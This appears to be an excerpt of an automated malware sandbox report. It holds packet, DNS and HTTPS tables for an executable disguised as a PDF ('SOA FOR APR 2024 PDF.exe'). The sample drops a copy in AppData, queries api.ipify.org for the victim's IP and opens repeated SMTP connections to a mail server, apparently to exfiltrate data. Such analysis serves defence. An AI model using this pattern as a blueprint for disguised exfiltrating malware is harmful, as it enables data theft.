Apr 26, 2024 09:03:54.560606956 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:54.560683966 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:54.560705900 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:54.560762882 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.276185989 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:55.276277065 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:55.276299000 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:55.276319981 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:55.472595930 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.472647905 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.472680092 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.472712040 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.472742081 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.472773075 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.473666906 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:55.517931938 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:55.882339001 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.079185963 CEST	587	49731	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:56.079665899 CEST	49731	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.080619097 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.297053099 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:56.297240973 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.566600084 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:56.566752911 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.763576031 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:56.763776064 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:56.961771011 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:56.962312937 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.169275999 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.169327021 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.169339895 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.169444084 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.171864986 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.369004965 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.369986057 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.585889101 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.586173058 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.783484936 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.783802032 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:57.981837988 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:57.982009888 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.180604935 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.182300091 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.419173002 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.434613943 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.436007977 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.642493963 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.642508984 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.642805099 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.642805099 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.642937899 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.643026114 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.646714926 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.838999033 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.839016914 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.839138031 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.839314938 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.839732885 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.845072031 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.845101118 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.845113039 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.845124006 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.845197916 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.845232010 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:58.883976936 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:58.884087086 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.035902977 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.036180019 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.041440964 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.041568041 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.041866064 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.046127081 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.232655048 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.232669115 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.232680082 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.232741117 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.232774973 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.232774973 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.238120079 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.238133907 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.238179922 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.238317966 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.238329887 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.238370895 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242655039 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242670059 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242691994 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242701054 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242706060 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242717981 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242718935 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242736101 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242753029 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242814064 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.242943048 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242955923 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242964983 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.242990971 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243000984 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243144035 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243158102 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243184090 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243285894 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243299961 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243335962 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243478060 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243494034 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243504047 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243515015 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243525028 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243542910 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243599892 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243637085 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243727922 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243741035 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243750095 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243760109 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243766069 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.243772984 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.243777990 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.408565998 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.429213047 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.429231882 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.429250956 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.429275990 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.429325104 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.435048103 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.435097933 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439100027 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439145088 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439167976 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439212084 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439234972 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439280987 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439316034 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439327002 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439357042 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439378023 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.439438105 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439449072 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439610958 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439768076 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439841032 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.439896107 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.440031052 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.440043926 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.440092087 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.440131903 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.605029106 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625649929 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625684023 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625708103 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625725985 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.625803947 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625853062 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625874043 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625967979 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.625979900 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.626142979 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.626259089 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.631550074 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.631593943 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.631656885 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.631697893 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635634899 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635689020 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635700941 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635711908 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635750055 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635860920 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635878086 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.635938883 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.636012077 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.636920929 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:03:59.721040964 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:03:59.822151899 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:05.735505104 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:05.735775948 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:05.931628942 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:05.931987047 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:05.932667971 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:05.932774067 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:06.202986956 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:06.204030991 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:06.705445051 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:06.902148008 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.038124084 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.038494110 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:07.235163927 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.237658024 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.238087893 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:07.445185900 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.445214033 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.445234060 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.445269108 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:07.446649075 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:07.643695116 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.644800901 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:07.842375994 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:07.842560053 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.039850950 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.040036917 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.238758087 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.238933086 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.435875893 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.438091040 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.586327076 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.592396975 CEST	49730	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.675036907 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.693780899 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.695044041 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.805731058 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.805768013 CEST	587	49732	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.806128025 CEST	49732	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.806369066 CEST	49734	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.812263012 CEST	587	49730	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.815143108 CEST	49730	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.815418005 CEST	49735	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.900672913 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.900702000 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:08.901185036 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.901237965 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.901257992 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.901309967 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:08.902506113 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.002747059 CEST	587	49734	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.006278038 CEST	49734	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.012752056 CEST	587	49735	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.014126062 CEST	49735	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.118216991 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.118227959 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.118237972 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.118411064 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.119035959 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.119054079 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.119057894 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.119062901 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.119143963 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.286659956 CEST	587	49735	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.286797047 CEST	49735	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.298635960 CEST	587	49734	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.298736095 CEST	49734	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.315157890 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.315222979 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.316123962 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.316184044 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.316654921 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.316664934 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.316736937 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.316746950 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.316781998 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.316839933 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.316898108 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.317250967 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.317306995 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.483458042 CEST	587	49735	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.495381117 CEST	587	49734	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.512012005 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.512042999 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.512073994 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.512120962 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.512851954 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.512877941 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.512907982 CEST	49733	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.513397932 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514039040 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514101982 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514194012 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514236927 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514256954 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514311075 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514334917 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514422894 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514446974 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514520884 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514607906 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514619112 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514717102 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514766932 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514830112 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514867067 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514898062 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.514946938 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.533562899 CEST	49735	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.549262047 CEST	49734	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:04:09.708951950 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709017038 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709045887 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709144115 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709184885 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709219933 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709259033 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709274054 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709564924 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709599018 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709707975 CEST	587	49733	50.87.195.61	192.168.2.5
Apr 26, 2024 09:04:09.709860086 CEST	587	49733	50.87.195.61	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:01:57.879776001 CEST	60720	53	192.168.2.5	1.1.1.1
Apr 26, 2024 09:01:58.005095005 CEST	53	60720	1.1.1.1	192.168.2.5
Apr 26, 2024 09:01:59.480166912 CEST	60338	53	192.168.2.5	1.1.1.1
Apr 26, 2024 09:01:59.687926054 CEST	53	60338	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 09:01:57.879776001 CEST	192.168.2.5	1.1.1.1	0x76d8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:01:59.480166912 CEST	192.168.2.5	1.1.1.1	0x3aad	Standard query (0)	mail.fascia-arch.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 09:01:58.005095005 CEST	1.1.1.1	192.168.2.5	0x76d8	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:01:58.005095005 CEST	1.1.1.1	192.168.2.5	0x76d8	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:01:58.005095005 CEST	1.1.1.1	192.168.2.5	0x76d8	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:01:59.687926054 CEST	1.1.1.1	192.168.2.5	0x3aad	No error (0)	mail.fascia-arch.com	50.87.195.61	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	104.26.12.205	443	7384	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:01:58 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-26 07:01:58 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:01:58 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a4b460dc454c2c-MIA
2024-04-26 07:01:58 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 32 30 Data Ascii: 102.129.152.220

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.26.12.205	443	7788	C:\Users\user\AppData\Roaming\eeBIYZL.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:02:03 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
